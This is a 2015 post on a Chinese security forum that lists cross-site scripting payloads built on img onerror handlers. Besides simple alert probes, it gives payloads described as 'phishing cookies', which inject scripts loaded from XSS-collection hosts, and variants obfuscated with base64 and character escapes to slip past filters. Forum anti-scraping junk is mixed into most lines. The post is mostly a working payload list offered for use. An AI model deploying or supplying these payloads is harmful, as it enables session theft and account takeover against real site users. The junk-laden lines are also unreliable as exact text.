找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2129|回复: 0
打印 上一主题 下一主题

img标签的常用几种测试手段

[复制链接]
跳转到指定楼层
楼主
发表于 2015-10-18 14:33:54 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
<img src='non-exist.jpg'onerror="alert('xss')">( W0 t, ?4 q: F6 x: N0 m
<img src=# onerror=alert(123)>
, a' A) W" M/ W6 I2 F/ n<img src=# onerror=alert(document.cookie)>$ _" ~4 @( |3 K3 l  V* E) |
下面是利用平台钓cookie的# _5 X+ \" a7 d8 D
<img src=x onerror=s=createElement("script");body.appendChild(s);s.src="http://xss.baido.hk/JnFrlW?1445149342";>
, F/ y1 g& x) a1 i, Y; Q7 v( v" I0 k# C: u4 `4 v3 U" ~* K
4 r( \% k3 P/ x5 i: C  o
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='你的js地址';>2 X8 G' |9 H; m0 x4 p* l
<img src=x onerror=with(document)body.appendChild(document.createElement(‘script‘)).src="//xss.re/974"></img>
4 [, a4 q1 i2 v" J8 g$ p“><img src=x onerror=”with(document)body.appendChild(createElement(‘script’)).src=’//xss.re/974’”></img>6 g' y" `/ v! H! k
<img src=1 onerror=jQuery.getScript("//xss.re/974")>
" \/ H! O  Y( r0 _* S! H& U<img src="#">
1 M0 O7 a/ u, U, l. W<img src="#">! t5 r1 A3 l$ ?' {$ h- P
<img src=‘0‘ onerror=with(document)body.appendChild(createElement(‘script‘)).src=‘/xx‘>0 S( |' h( _4 n' O  w- _. L
<img src="http://fs3u.dajie.com/2013/01/05/146/13573533461773126m.jpg" border="0">0 d' T3 P% {, J
<img src=i onerror=eval(jQuery.getScript(‘//xss.tw/4091‘))>' T+ q! G2 F: Q" X0 a
<img src=N onerror=eval(javascript:document.write(unescape(‘ <script src="http://xxx.js"></script>‘));)>
' o5 r7 B* E8 N! l<img src=x onerror=document.body.appendChild(document.createElement(‘script‘)).src=‘//xxx.xxx/a.js‘>- `& G) G% M- L% c
<img src=x width="0" height="0"></img>
% Y& g/ U9 L/ }9 g3 t" c<img src=1 onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNyYz0naHR0cHM6Ly94Lnh4ZS5sYS9WSic7Ym9keS5hcHBlbmRDaGlsZChzKQ=='))># F( e5 a/ h7 B# `; Y5 N0 w
<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.baido.hk/7OO7GQ?1510065652';>( R5 P# U+ G. K/ }0 R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表